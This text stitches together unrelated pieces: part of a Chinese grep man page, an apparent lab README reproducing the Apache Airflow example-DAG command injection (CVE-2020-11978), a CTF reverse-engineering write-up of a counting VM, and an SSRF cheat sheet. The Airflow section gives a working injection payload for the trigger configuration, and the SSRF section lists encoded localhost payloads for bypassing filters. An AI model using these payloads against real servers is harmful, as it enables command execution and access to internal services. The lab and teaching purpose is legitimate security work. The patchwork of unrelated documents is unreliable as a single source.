.BR \-i ", " \-\^\-ignore-case
忽略模式
.I PATTERN
和输入文件中的大小写的分别。
.TP
.BR \-L ", " \-\^\-files-without-match
禁止通常的输出;作为替代,打印出每个在通常情况下不会产生输出的输入文件的名字。对每个文件的扫描在遇到第一个匹配的时候就会停止。
.TP
.BR \-l ", " \-\^\-files-with-matches
禁止通常的输出;作为替代,打印出每个在通常情况下会产生输出的输入文件的名字。对每个文件的扫描在遇到第一个匹配的时候就会停止。
.TP
.BI \-m " NUM" "\fR,\fP \-\^\-max-count=" NUM
在找到
.I NUM
个匹配的行之后,不再读这个文件。如果输入是来自一个普通文件的标准输入,并且已经输出了
.I NUM
个匹配的行,
.B grep
保证标准输入被定位于退出时的最后一次匹配的行之后,不管是否指定了要输出紧随的下文的行。这样可以使一个调用程序恢复搜索。当
.B grep
在
.I NUM
个匹配的行之后停止,它会输出任何紧随的下文的行。当使用了
.B \-c
或
.B \-\^\-count
选项的时候,
.B grep
不会输出比
.IR NUM
更多的行。当指定了
.B \-v
或
.B \-\^\-invert-match
选项的时候,
.B grep
会在输出
.I NUM
个不匹配的行之后停止。
.TP
.B \-\^\-mmap
如果可能的话,使用
.BR mmap (2)
系统调用来读取输入,而不是默认的
.BR read (2)
系统调用。在一些情况下,
.B \-\^\-mmap
提供较好的性能。但是,如果一个输入文件在
.B grep
正在操作时大小发生变化,或者如果发生了一个 I/O 错误,
.B \-\^\-mmap
可能导致不可知的行为 (包括core dumps)。
.TP
.BR \-n ", " \-\^\-line-number
在输出的每行前面加上它所在的文件中它的行号。
.TP
.BR \-o ", " \-\^\-only-matching
只显示匹配的行中与
.I PATTERN
相匹配的部分。
.TP
.BI \-\^\-label= LABEL
将实际上来自标准输入的输入视为来自输入文件
.I LABEL
。这对于 zgrep 这样的工具非常有用,例如:
.B "gzip -cd foo.gz |grep --label=foo something"
.TP
.BR \-\^\-line-buffering
使用行缓冲,it can be a performance penality.
.TP
.BR \-q ", " \-\^\-quiet ", " \-\^\-silent
安静。不向标准输出写任何东西。如果找到任何匹配的内容就立即以状态值 0 退出,即使检测到了错误。
参见
.B \-s
或
.B \-\^\-no-messages
选项。
.TP
.BR \-R ", " \-r ", " \-\^\-recursive
递归地读每一目录下的所有文件。这样做和
.B "\-d recurse"
选项等价。
.TP
.BR "\fR \fP \-\^\-include=" PATTERN
仅仅在搜索匹配
.I PATTERN
的文件时在目录中递归搜索。
.TP
.BR "\fR \fP \-\^\-exclude=" PATTERN
在目录中递归搜索,但是跳过匹配
.I PATTERN
的文件。
.TP
.BR \-s ", " \-\^\-no-messages
禁止输出关于文件不存在或不可读的错误信息。
对于可移植性需要注意:与 \s-1GNU\s0
.BR grep
不同,传统的
.B grep
不遵守 \s-1POSIX.2\s0 规范,因为传统的
.B grep
缺少一个
.B \-q
选项,而它的
.B \-s
选项与 \s-1GNU\s0
.BR grep
的
.B \-q
选项行为相似。需要可移植到传统
.B grep
的 shell 脚本应当避免使用
.B \-q
和
.B \-s
选项,而应当将输出重定向到 /dev/null 。
.TP
.BR \-U ", " \-\^\-binary
将文件视为二进制。默认情况下,在 MS-DOS 和 MS-Windows 系统中,
.BR grep
通过从文件中读取头部的 32kB 内容来判断它的文件类型。如果
.BR grep
判断文件是一个文本文件,它将原始文件内容中的 CR 字符去除 (使得含有
.B ^
和
.B $
的正则表达式可以正常工作)。指定
.B \-U
将不进行这些工作,而使所有文件保持不变地读取并传递给匹配机制。如果文件是一个以 CR/LF 换行的文本文件,这样作将导致一些正则表达式失败。这个选项在 MS-DOS 和 MS-Windows 之外的系统中无效。
.TP
.BR \-u ", " \-\^\-unix-byte-offsets
报告 Unix 风格的字节偏移量。这个开关使得
.B grep
报告字节偏移量时,将文件作为 Unix 风格的文本文件看待,也就是说将 CR 字符去掉。这将产生与在一台 Unix 主机上运行
.B grep
完全相同的结果。除非同时使用
.B \-b
选项,否则这个选项无效。这个选项在 MS-DOS 和 MS-Windows 之外的系统中无效。
.TP
.BR \-V ", " \-\^\-version
向标准错误输出打印
.B grep
的版本号。版本号应当包含在所有的 bug 报告中 (参见下面)。
.TP
.BR \-v ", " \-\^\-invert-match
改变匹配的意义,只选择不匹配的行。
.TP
.BR \-w ", " \-\^\-word-regexp
只选择含有能组成完整的词的匹配的行。判断方法是匹配的子字符串必须是一行的开始,或者是在一个不可能是词的组成的字符之后。与此相似,它必须是一行的结束,或者是在一个不可能是词的组成的字符之前。词的组成字符是字母,数字,还有下划线。
.TP
.BR \-x ", " \-\^\-line-regexp
只选择能匹配完整一行的匹配。
.TP
.B \-y
.BR \-i
的同义词,废弃不用。
.TP
.BR \-Z ", " \-\^\-null
输出一个全零字节 (\s-1ASCII\s0 码中的
.B NUL
字符) 而不是一般情况下输出在文件名之后的字符。例如,
.B "grep \-lZ"
在每个文件名之后输出一个全零字节而不是普通的新行符。这个选项使得输出清楚明白,即使文件名的表示中包含特殊字符比如新行符。这个选项可以与命令
.BR "find \-print0" ,
.BR "perl \-0" ,
.BR "sort \-z" ,
和
.B "xargs \-0"
一起使用,来处理任意的文件名,即使是那些含有新行符的文件名。
.SH "正则表达式 REGULAR EXPRESSIONS"
.PP
一个正则表达式是一个描述了一个字符串集合的模式。正则表达式的构造类似于算术表达式,使用各种各样的操作符来将更小的表达式连在一起。
.PP
.B Grep
能理解两种不同版本的正则表达式语法:\*(lqbasic\*(rq 和 \*(lqextended\*(rq。在
.RB "\s-1GNU\s0\ " grep
中,两种语法可以实现的功能是没有区别的。在其他实现中,基本 (basic) 正则表达式表达能力要弱一点。下面的描述适用于扩展的 (extended) 正则表达式,它与基本正则表达式的区别会在最后做一个总结。
.PP
基本的构造块是匹配单个字符的正则表达式。大部分字符,包括所有字母和数字,是匹配它们自身的正则表达式。任何具有特殊含义的元字符可以通过前置一个反斜杠来引用。(may be quoted by preceding it with a backslash.)
.PP
.I "方括号表达式 (bracket)"
是一个字符序列,放在
.B [
和
.BR ]
当中。它匹配序列中的任何一个字符;如果序列中的第一个字符是脱字符 (caret)
.B ^
那么它匹配
.I 不在
序列中的任何一个字符。例如,正则表达式
.B [0123456789]
匹配任何一个数字。
.PP
在方括号表达式之中,一个
.I "范围表达式 (range)"
由两个字符组成,中间用一个连字符 (hyphen) 分隔。它匹配在这两个字符之间的任何一个字符,使用本地化的序列顺序和字符集。(that sorts between the two characters,inclusive, using the locale's collating sequence and character set.) 例如,在默认的 C locale中,
.B [a\-d]
与
.BR [abcd]
等价。典型的,许多 locale 将字符以字典顺序排序,在这些 locale 中,
.B [a\-d]
不与
.BR [abcd]
等价;例如它可能与
.BR [aBbCcDd]
等价。要获得传统的对方括号表达式的解释,可以设定环境变量
.B LC_ALL
值为
.BR C
来使用 locale C 。
.PP
最后,在方括号表达式中有一些预定义的字符类,如下所示。它们的名字是自说明的,它们是
.BR [:alnum:] (字母和数字),
.BR [:alpha:] (字母),
.BR [:cntrl:] (),
.BR [:digit:] (数字),
.BR [:graph:] (),
.BR [:lower:] (小写字母),
.BR [:print:] (可打印字符),
.BR [:punct:] (),
.BR [:space:] (空格),
.BR [:upper:] (大写字母),
和
.BR [:xdigit:]
。例如,
.B [[:alnum:]]
意思是
.BR [0\-9A\-Za\-z]
,但是后一种表示方法依赖于 locale C 和\s-1ASCII\s0 字符编码,而前一种是与 locale 和字符集无关的。(注意这些字符类名中的方括号也是符号名称的一部分,必须包含在用来为序列定界的方括号之中。)
.PP
大多数元字符处于序列中时会失去它们的特殊意义。为了包含一个字面意义 (literal) 的
.B ]
,需要将它放在序列的最前。与此相似,为了包含一个字面意义 (literal) 的
.B ^
,需要将它放在除了序列最前之外的其他位置。最后,为了包含一个字面意义 (literal) 的
.B \-
,需要将它放在序列最后。
.PP
句点符 (period)
.B .
匹配任何一个字符。符号
.B \ew
是
.B [[:alnum:]]
的同义词,
.B \eW
是
.BR [^[:alnum]]
的同义词。
.PP
脱字符 (caret)
.B ^
和美元标记 (dollar)
.B $
分别是匹配一行的首部和尾部的空字串的元字符。符号
.B \e<
和
.B \e>
分别是匹配一个词的首部和尾部的空字串的元字符。符号
.B \eb
匹配一个词边缘 (edge) 的空字串,符号
.B \eB
匹配
.I 不
处于一个词的边缘的空字串。
.PP
一个正则表达式后面可以跟随多种重复操作符之一。
.PD 0
.TP
.B ?
先前的项是可选的,最多匹配一次。
.TP
.B *
先前的项可以匹配零次或多次。
.TP
.B +
先前的项可以匹配一次或多次。
.TP
.BI { n }
先前的项将匹配恰好
.I n
次。
.TP
.BI { n ,}
先前的项可以匹配
.I n
或更多次。
.TP
.BI { n , m }
先前的项将匹配至少
.I n
词,但是不会超过
.I m
次。
.PD
.PP
两个正则表达式可以连接到一起;得出的正则表达式可以匹配任何由两个分别匹配连接前的子表达式的子字符串连接而成的字符串。
.PP
两个正则表达式可以用中缀操作符
.BR |
联合到一起,得出的正则表达式可以匹配任何匹配联合前的任何一个子表达式的字符串。
.PP
重复操作符的优先级比连接高,接下来又比选择的优先级高。一个完整的子表达式可以用圆括号 (parentheses) 括住来超越这些优先级规则。(to override these precedence rules.)
.PP
反向引用
.BI \e n\c
\& 中,
.I n
是一个数字,匹配正则表达式中,以第
.IR n
个圆括号括住的子表达式已匹配的子字符串。
.PP
在基本正则表达式中,元字符
.BR ? ,
.BR + ,
.BR { ,
.BR | ,
.BR ( ,
和
.BR )
丧失了它们的特殊意义;作为替代,使用加反斜杠的 (backslash) 版本
.BR \e? ,
.BR \e+ ,
.BR \e{ ,
.BR \e| ,
.BR \e( ,
和
.BR \e)
。
.PP
传统的
.B egrep
不支持元字符
.B {
,并且一些
.B egrep
的实现通过支持
.B \e{
来代替它,因此可移植的脚本应当避免
在
.B egrep
中使用
.B {
模式,应当使用
.B [{]
来匹配一个字面意义 (literal) 的
.BR {
。
.PP
\s-1GNU\s0
.B egrep
通过假设如果
.B {
处于 an invalid interval specification 的起始,就不是一个特殊字符,来支持传统的用法。例如,shell 命令
.B "egrep '{1'"
将会搜索这个两字符的字符串
.B {1
而不是报告在正则表达式中发生了语法错误。\s-1POSIX.2\s0 允许这个行为,将其视为一个扩展,但是可移植的脚本应当避免使用它。
.SH "环境变量 ENVIRONMENT VARIABLES"
.B Grep
的行为受下列环境变量影响。
.PP
一个 locale
.BI LC_ foo
是通过按下面的顺序,
.BR LC_ALL ,
.BR LC_\fIfoo\fP ,
.BR LANG ,
检查这三个环境变量的取值而确定的。设置了的第一个变量指定了 locale。例如,如果
.B LC_ALL
没有设置,但是
.B LC_MESSAGES
设置为
.BR pt_BR
,那么巴西的葡萄牙语 (Brazilian Portuguese) 将用作
.B LC_MESSAGES
locale 的值。如果没有设置这其中任何一个环境变量,或者没有安装所设置的 locale 目录,或者如果
.B grep
没有将国家和语言支持 (national language support (\s-1NLS\s0)) 编译在内,将默认使用 locale C。
.TP
.B GREP_OPTIONS
这个变量指定了将放在所有显式指定的选项之前的默认选项。例如,如果
.B GREP_OPTIONS
是
.BR "'\-\^\-binary-files=without-match \-\^\-directories=skip'"
的话,
.B grep
将像已经在任何显式指定的选项之前指定了
.B \-\^\-binary-files=without-match
和
.B \-\^\-directories=skip
选项那样来运作。选项以空白 (whitespace) 分隔。一个反斜杠 (backslash) 使得下一个字符转义 (escape),因此可以用来指定一个含有空白或者反斜杠的选项。
.TP
.B GREP_COLOR
指定用来高亮显示的标记。
.TP
\fBLC_ALL\fP, \fBLC_COLLATE\fP, \fBLANG\fP
这些变量指定了 locale
.B LC_COLLATE
,决定了解释类似
.BR [a\-z]
的范围表达式时的序列顺序 (collating sequence) 。
.TP
\fBLC_ALL\fP, \fBLC_CTYPE\fP, \fBLANG\fP
这些选项指定了 locale
.B LC_CTYPE
,决定了字符的类型,例如,哪些字符是空白 (whitespace) 。
.TP
\fBLC_ALL\fP, \fBLC_MESSAGES\fP, \fBLANG\fP
这些选项指定了 locale
.B LC_MESSAGES
,决定了
.B grep
的消息使用的语言。默认的 locale C 使用美国英语的消息。
.TP
.B POSIXLY_CORRECT
如果设置了的话,
.B grep
将像 \s-1POSIX.2\s0 要求的那样来运作;否则,
.B grep
将像其他 \s-1GNU\s0 程序一样来运作。\s-1POSIX.2\s0 要求文件名之后的选项必须视为文件名;默认情况下,这些选项被交换到操作数列表的前面,被当作选项来处理。同时, \s-1POSIX.2\s0 要求不可识别的选项在诊断消息中表示为 \*(lqillegal\*(rq,但是既然它们没有真正触犯法律,因此默认情况下它们在诊断 (diagnose) 消息中表示为 \*(lqinvalid\*(rq。
.B POSIXLY_CORRECT
同时禁止了下面描述的 \fB_\fP\fIN\fP\fB_GNU_nonoption_argv_flags_\fP。
.TP
\fB_\fP\fIN\fP\fB_GNU_nonoption_argv_flags_\fP
(这里
.I N
是
.BR grep 's
数字形式的进程ID。) 如果这个环境变量的值的第
.IR i
个字符是
.BR 1
,那么不将
.B grep
的第
.IR i
个操作数视为一个选项,即使它看上去像。shell 可以将这个变量设置在它运行的每个命令的环境中,指定哪个操作数是文件名通配符扩展的结果,因此不应当被视为选项。这个行为只有在使用 \s-1GNU\s0 C 库时有效,并且只有在
.B POSIXLY_CORRECT
没有设置的时候。
.SH 诊断 DIAGNOSTICS
.PP
一般地,如果找到了选择的行,退出时状态值为0,否则为1。但是如果发生错误,退出时状态值是2,除非指定了
.B \-q
或
.B \-\^\-quiet
或
.B \-\^\-silent
选项,并且找到了选择的行。
.SH BUGS
.PP
bug 报告的电子邮件地址是
.BR bug-gnu-utils@gnu.org 。
一定要在\*(lqSubject:\*(rq中带有 \*(lqgrep\*(rq 这个词。
.PP
在
.BI { n , m }
结构中重复次数过多会导致
.B grep
使用大量内存。另外,一些过分晦涩的正则表达式需要指数级的时间和空间,可能会导致
.B grep
耗尽所有内存。
.PP
向后引用 (backreferences) 非常慢,可能需要指数级的时间。
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.B 2003.11.03
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
.\" Work around problems with some troff -man implementations.
.br
|
sec-knowleage
|
# Apache Airflow Command Injection in Example Dag (CVE-2020-11978)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow is an open source, distributed task scheduling framework. In the version prior to 1.10.10, there is a command injection vulnerability in the example DAG `example_trigger_target_dag`, which caused attackers to execute arbitrary commands in the worker process.
Since there are many components to be started, it may be a bit stuck. Please prepare more than 2G of memory for the use of the virtual machine.
References:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/pberba/CVE-2020-11978>
## Vulnerability Environment
Execute the following commands to start airflow 1.10.10:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
## Exploit
Visit `http://your-ip:8080` to see the airflow management terminal, and turn on the `example_trigger_target_dag` flag:

Click the "triger" button on the right, then input the configuration JSON with the crafted payload `{"message":"'\";touch /tmp/airflow_dag_success;#"}`:

Wait a few seconds to see the execution of "success":

Go to the CeleryWorker container to see the result, `touch /tmp/airflow_dag_success` has been successfully executed:
```
docker compose exec airflow-worker ls -l /tmp
```

|
sec-knowleage
|
# Counting (re, 246p)
> This strange program was found, which apparently specialises in counting. In order to find the flag, you need to output find what the output of ./counter 9009131337 is.
> code
> counter
In this challenge we were given two files: an ELF binary, and a small unknown file.
Running the binary with some small arguments gives the following results:
```
$ for i in 20 25 30; do time ./counter $i; done
CTF{0000000000000065}
real 0m0,015s
user 0m0,012s
sys 0m0,000s
CTF{000000000000000d}
real 0m0,096s
user 0m0,092s
sys 0m0,000s
CTF{000000000000013a}
real 0m1,015s
user 0m1,012s
sys 0m0,000s
```
OK, so running the file with argument as small as 30 already takes 30 seconds. That's too
bad, since we need to find the result of running `./counter 9009131337`. We need to find
another way.
Thankfully, the `counter` binary was pretty small and quite simple to analyze. It seemed
to be opening the `code` file and reading its contents to 16-byte sized structures.
The second part of the binary was a virtual machine - it executed the instructions encoded
in those structures. The virtual machine had 26 registers - apparently one per each letter
of the alphabet. The argument given in the command line was put in the first one (rA).
When the instruction pointer reaches the point after last instruction, the interpreter
exits, and the flag is printed containg the value in first register in hexadecimal format.
There were only three types of instructions:
- 0: increment rX, then jump to instruction Y.
- 1: if rX is 0, jump to instruction Y, otherwise decrement rX and jump to instruction Z.
- 2: "fork" to instruction X, then copy first Y registers from fork.
The last instruction could be also interpreted as function call, while saving all
the registers except for ones making up the return value.
We wrote a simple parser in Python and used it to disassemble the file:
```
00: if (rA!=0){ rA--; jmp 01;} else jmp 02;
01: rB++; jmp 00;
02: rC++; jmp 03;
03: rC++; jmp 04;
04: rC++; jmp 05;
05: rC++; jmp 06;
06: rC++; jmp 07;
07: rC++; jmp 08;
08: rC++; jmp 09;
09: rC++; jmp 10;
10: rC++; jmp 11;
11: rC++; jmp 12;
12: rC++; jmp 13;
13: fork @ 108; copy up to rB; jmp 14;
14: if (rA!=0){ rA--; jmp 119;} else jmp 15;
15: fork @ 20; copy up to rB; jmp 16;
16: if (rC!=0){ rC--; jmp 16;} else jmp 17;
17: if (rA!=0){ rA--; jmp 18;} else jmp 19;
18: rC++; jmp 17;
19: fork @ 64; copy up to rB; jmp 119;
20: if (rC!=0){ rC--; jmp 20;} else jmp 21;
21: fork @ 29; copy up to rB; jmp 22;
22: if (rA!=0){ rA--; jmp 23;} else jmp 24;
23: rC++; jmp 22;
24: if (rB!=0){ rB--; jmp 25;} else jmp 26;
25: if (rZ!=0){ rZ--; jmp 00;} else jmp 21;
26: if (rA!=0){ rA--; jmp 26;} else jmp 27;
27: if (rC!=0){ rC--; jmp 28;} else jmp 119;
28: rA++; jmp 27;
29: if (rC!=0){ rC--; jmp 29;} else jmp 30;
30: fork @ 84; copy up to rB; jmp 31;
31: if (rD!=0){ rD--; jmp 31;} else jmp 32;
32: if (rA!=0){ rA--; jmp 33;} else jmp 34;
33: rD++; jmp 32;
34: if (rD!=0){ rD--; jmp 35;} else jmp 42;
35: if (rD!=0){ rD--; jmp 36;} else jmp 42;
36: fork @ 45; copy up to rB; jmp 37;
37: rC++; jmp 38;
38: if (rB!=0){ rB--; jmp 38;} else jmp 39;
39: if (rA!=0){ rA--; jmp 40;} else jmp 41;
40: rB++; jmp 39;
41: if (rZ!=0){ rZ--; jmp 00;} else jmp 30;
42: if (rA!=0){ rA--; jmp 42;} else jmp 43;
43: if (rC!=0){ rC--; jmp 44;} else jmp 119;
44: rA++; jmp 43;
45: if (rC!=0){ rC--; jmp 45;} else jmp 46;
46: fork @ 84; copy up to rB; jmp 47;
47: if (rA!=0){ rA--; jmp 48;} else jmp 49;
48: rC++; jmp 47;
49: fork @ 92; copy up to rC; jmp 50;
50: if (rB!=0){ rB--; jmp 51;} else jmp 119;
51: if (rA!=0){ rA--; jmp 51;} else jmp 52;
52: if (rB!=0){ rB--; jmp 52;} else jmp 53;
53: if (rC!=0){ rC--; jmp 54;} else jmp 55;
54: rB++; jmp 53;
55: fork @ 84; copy up to rB; jmp 56;
56: if (rA!=0){ rA--; jmp 57;} else jmp 58;
57: rC++; jmp 56;
58: fork @ 84; copy up to rB; jmp 59;
59: if (rB!=0){ rB--; jmp 60;} else jmp 61;
60: rA++; jmp 59;
61: if (rC!=0){ rC--; jmp 62;} else jmp 63;
62: rA++; jmp 61;
63: rA++; jmp 119;
64: fork @ 84; copy up to rB; jmp 65;
65: if (rD!=0){ rD--; jmp 65;} else jmp 66;
66: if (rA!=0){ rA--; jmp 67;} else jmp 68;
67: rD++; jmp 66;
68: if (rD!=0){ rD--; jmp 69;} else jmp 119;
69: rA++; jmp 70;
70: if (rD!=0){ rD--; jmp 71;} else jmp 119;
71: if (rB!=0){ rB--; jmp 72;} else jmp 119;
72: fork @ 64; copy up to rB; jmp 73;
73: if (rE!=0){ rE--; jmp 73;} else jmp 74;
74: if (rA!=0){ rA--; jmp 75;} else jmp 76;
75: rE++; jmp 74;
76: if (rB!=0){ rB--; jmp 77;} else jmp 119;
77: fork @ 64; copy up to rB; jmp 78;
78: if (rA!=0){ rA--; jmp 79;} else jmp 80;
79: rE++; jmp 78;
80: if (rB!=0){ rB--; jmp 80;} else jmp 81;
81: if (rE!=0){ rE--; jmp 82;} else jmp 83;
82: rB++; jmp 81;
83: fork @ 99; copy up to rB; jmp 119;
84: if (rA!=0){ rA--; jmp 84;} else jmp 85;
85: if (rB!=0){ rB--; jmp 86;} else jmp 119;
86: rA++; jmp 85;
87: if (rA!=0){ rA--; jmp 87;} else jmp 88;
88: if (rB!=0){ rB--; jmp 89;} else jmp 90;
89: rA++; jmp 88;
90: if (rC!=0){ rC--; jmp 91;} else jmp 119;
91: rA++; jmp 90;
92: if (rA!=0){ rA--; jmp 92;} else jmp 93;
93: if (rB!=0){ rB--; jmp 93;} else jmp 94;
94: if (rC!=0){ rC--; jmp 95;} else jmp 119;
95: if (rC!=0){ rC--; jmp 96;} else jmp 98;
96: rA++; jmp 97;
97: if (rZ!=0){ rZ--; jmp 00;} else jmp 94;
98: rB++; jmp 119;
99: fork @ 108; copy up to rB; jmp 100;
100: if (rA!=0){ rA--; jmp 101;} else jmp 103;
101: if (rB!=0){ rB--; jmp 102;} else jmp 119;
102: rA++; jmp 101;
103: fork @ 113; copy up to rB; jmp 104;
104: if (rB!=0){ rB--; jmp 104;} else jmp 105;
105: if (rA!=0){ rA--; jmp 106;} else jmp 107;
106: rB++; jmp 105;
107: if (rZ!=0){ rZ--; jmp 00;} else jmp 99;
108: if (rA!=0){ rA--; jmp 108;} else jmp 109;
109: if (rC!=0){ rC--; jmp 110;} else jmp 119;
110: if (rB!=0){ rB--; jmp 111;} else jmp 112;
111: if (rZ!=0){ rZ--; jmp 00;} else jmp 108;
112: rA++; jmp 119;
113: if (rC!=0){ rC--; jmp 114;} else jmp 116;
114: if (rB!=0){ rB--; jmp 115;} else jmp 119;
115: if (rZ!=0){ rZ--; jmp 00;} else jmp 113;
116: if (rA!=0){ rA--; jmp 116;} else jmp 117;
117: if (rB!=0){ rB--; jmp 118;} else jmp 119;
118: rA++; jmp 117;
```
Hmm. That's quite a bit of arcane instructions.
We implemented a simple interpreter (in Python too) running the code to make sure
we understood the opcodes correctly. And yep, it returned the same result as the original
binary (though a couple of times slower).
We definitely need to optimize the code a bit, but it's a bit hard to read. We can improve
readability by skipping the `jmp xxx` bit if the target of the jump is the next instruction.
Also, there are some instructions like:
```
108: if (rA!=0){ rA--; jmp 108;} else jmp 109;
```
We can easily translate it to:
```
108: rA=0;
```
This also improves performance! I also added empty line before each fork target, to
visually separate "subroutines".
New, slightly more readable code:
```
00: if (rA!=0){ rA--; } else jmp 02
01: rB++; jmp 00;
02: rC++;
03: rC++;
04: rC++;
05: rC++;
06: rC++;
07: rC++;
08: rC++;
09: rC++;
10: rC++;
11: rC++;
12: rC++;
13: fork @ 108; copy up to rB; jmp 14;
14: if (rA!=0){ rA--; jmp 119;} else
15: fork @ 20; copy up to rB; jmp 16;
16: rC=0;
17: if (rA!=0){ rA--; } else jmp 19
18: rC++; jmp 17;
19: fork @ 64; copy up to rB; jmp 119;
20: rC=0;
21: fork @ 29; copy up to rB; jmp 22;
22: if (rA!=0){ rA--; } else jmp 24
23: rC++; jmp 22;
24: if (rB!=0){ rB--; } else jmp 26
25: if (rZ!=0){ rZ--; jmp 00;} else jmp 21
26: rA=0;
27: if (rC!=0){ rC--; } else jmp 119
28: rA++; jmp 27;
29: rC=0;
30: fork @ 84; copy up to rB; jmp 31;
31: rD=0;
32: if (rA!=0){ rA--; } else jmp 34
33: rD++; jmp 32;
34: if (rD!=0){ rD--; } else jmp 42
35: if (rD!=0){ rD--; } else jmp 42
36: fork @ 45; copy up to rB; jmp 37;
37: rC++;
38: rB=0;
39: if (rA!=0){ rA--; } else jmp 41
40: rB++; jmp 39;
41: if (rZ!=0){ rZ--; jmp 00;} else jmp 30
42: rA=0;
43: if (rC!=0){ rC--; } else jmp 119
44: rA++; jmp 43;
45: rC=0;
46: fork @ 84; copy up to rB; jmp 47;
47: if (rA!=0){ rA--; } else jmp 49
48: rC++; jmp 47;
49: fork @ 92; copy up to rC; jmp 50;
50: if (rB!=0){ rB--; } else jmp 119
51: rA=0;
52: rB=0;
53: if (rC!=0){ rC--; } else jmp 55
54: rB++; jmp 53;
55: fork @ 84; copy up to rB; jmp 56;
56: if (rA!=0){ rA--; } else jmp 58
57: rC++; jmp 56;
58: fork @ 84; copy up to rB; jmp 59;
59: if (rB!=0){ rB--; } else jmp 61
60: rA++; jmp 59;
61: if (rC!=0){ rC--; } else jmp 63
62: rA++; jmp 61;
63: rA++; jmp 119;
64: fork @ 84; copy up to rB; jmp 65;
65: rD=0;
66: if (rA!=0){ rA--; } else jmp 68
67: rD++; jmp 66;
68: if (rD!=0){ rD--; } else jmp 119
69: rA++;
70: if (rD!=0){ rD--; } else jmp 119
71: if (rB!=0){ rB--; } else jmp 119
72: fork @ 64; copy up to rB; jmp 73;
73: rE=0;
74: if (rA!=0){ rA--; } else jmp 76
75: rE++; jmp 74;
76: if (rB!=0){ rB--; } else jmp 119
77: fork @ 64; copy up to rB; jmp 78;
78: if (rA!=0){ rA--; } else jmp 80
79: rE++; jmp 78;
80: rB=0;
81: if (rE!=0){ rE--; } else jmp 83
82: rB++; jmp 81;
83: fork @ 99; copy up to rB; jmp 119;
84: rA=0;
85: if (rB!=0){ rB--; } else jmp 119
86: rA++; jmp 85;
87: rA=0;
88: if (rB!=0){ rB--; } else jmp 90
89: rA++; jmp 88;
90: if (rC!=0){ rC--; } else jmp 119
91: rA++; jmp 90;
92: rA=0;
93: rB=0;
94: if (rC!=0){ rC--; } else jmp 119
95: if (rC!=0){ rC--; } else jmp 98
96: rA++;
97: if (rZ!=0){ rZ--; jmp 00;} else jmp 94
98: rB++; jmp 119;
99: fork @ 108; copy up to rB; jmp 100;
100: if (rA!=0){ rA--; } else jmp 103
101: if (rB!=0){ rB--; } else jmp 119
102: rA++; jmp 101;
103: fork @ 113; copy up to rB; jmp 104;
104: rB=0;
105: if (rA!=0){ rA--; } else jmp 107
106: rB++; jmp 105;
107: if (rZ!=0){ rZ--; jmp 00;} else jmp 99
108: rA=0;
109: if (rC!=0){ rC--; } else jmp 119
110: if (rB!=0){ rB--; } else jmp 112
111: if (rZ!=0){ rZ--; jmp 00;} else jmp 108
112: rA++; jmp 119;
113: if (rC!=0){ rC--; } else jmp 116
114: if (rB!=0){ rB--; } else jmp 119
115: if (rZ!=0){ rZ--; jmp 00;} else jmp 113
116: rA=0;
117: if (rB!=0){ rB--; } else jmp 119
118: rA++; jmp 117;
```
Now, we needed to slowly analyze what each function does. We can either do this black
box style (using a lot of inputs and analyzing output to guess a function), or white box
(just analyze each instruction properly). We ended up doing it the latter way, as functions
are short enough not to be painful to analyze.
We started at leaf functions, i.e. ones without forks in themselves. For example function
at 113:
```
113: if (rC!=0){ rC--; } else jmp 116
114: if (rB!=0){ rB--; } else jmp 119
115: if (rZ!=0){ rZ--; jmp 00;} else jmp 113
116: rA=0;
117: if (rB!=0){ rB--; } else jmp 119
118: rA++; jmp 117;
```
It can be literally transcribed to:
```
while true:
if rC != 0: # 113
rC--
if rB != 0: # 114
rB--
else:
return
continue
else:
break
rA = 0 # 116
while true:
if rB != 0:
rB--
rA++
else:
break
```
It's pretty weird code, but putting loop-ending conditions in the `while` condition
and ignoring useless assignments makes it better:
```
while rC != 0:
rC--
rB--
rA = 0
while rB != 0:
rA++
rB--
```
With code written as such, we can recognize the function as subtraction - `rA = rB-rC`.
The `rA` register is then copied to the main, non-forked function as a return value.
Now that we know what this function does, we can patch our interpreter to make it run
faster by adding a special case to its main loop:
```python
if pc == 113:
regs[0] = regs[1]-regs[2]
break
```
This has somewhat sped up calculations. Without reversing all the functions though,
the calculation is still way too slow.
I won't write up how to reverse all the functions - I'll just summarize what each of them does
(roughly in the order I reversed them):
```
113: return rB-rC;
108: return rC>rB;
99: return rB mod rC; (this was calculated by repeated subtraction of rC from rB)
84: return rB; (this might seem unnecessary, but it's used as a means
of copying a register)
92: return rC/2, rC%2; (this function is unique in that it returns two values in rA and rB)
45: if rB%2 == 0:
return rB/2;
else:
return rB*3+1; (a.k.a. Collatz sequence)
29: return total_stopping_time(rB); (a.k.a. number of iterations we need to apply
Collatz function, until we get a 1)
20: return sum(total_stopping_time(i) for i in 1..n)
64: return fibonacci(rB) % rC (originally calculated in exponential time - recursively)
0: return fibmod(arg, sumcollatz(arg))
```
We implemented all of these shortcuts in our interpreter, but it was still very slow.
We were able to calculate an answer up to maybe a couple millions, but after that it was
too much waiting. Instead, we rewrote the final function to C++ code. We also memoized
all the Collatz stopping times for all integers up to a billion - it took 2GB of RAM, but
sped up calculations significantly. In the end, the C++ code printed the flag after just
a couple of minutes.
The disassembler and sped up interpreter is in `parse.py` file, while the final C++
solver is in `fast.cpp` file. Python code gets its argument as command line argument,
while C++ one reads it from stdin.
|
sec-knowleage
|
# Server Side Request Forgery (SSRF)
## Introduction
Server Side Request Forgery is a web application vulnerability that allows attackers to make outgoing requests originating from the vulnerable server
## Where to find
Usually it can be found in the request that contain request to another url, for example like this
```
POST /api/check/products HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Origin: https://example.com
Referer: https://example.com
urlApi=http://192.168.1.1%2fapi%2f&id=1
```
or
```
GET /image?url=http://192.168.1.1/
Host: example.com
```
## How to exploit
1. Basic payload
```
http://127.0.0.1:1337
http://localhost:1337
```
2. Hex encoding
```
http://127.0.0.1 -> http://0x7f.0x0.0x0.0x1
```
3. Octal encoding
```
http://127.0.0.1 -> http://0177.0.0.01
```
4. Dword encoding
```
http://127.0.0.1 -> http://2130706433
```
5. Mixed encoding
```
http://127.0.0.1 -> http://0177.0.0.0x1
```
6. Using URL encoding
```
http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74
```
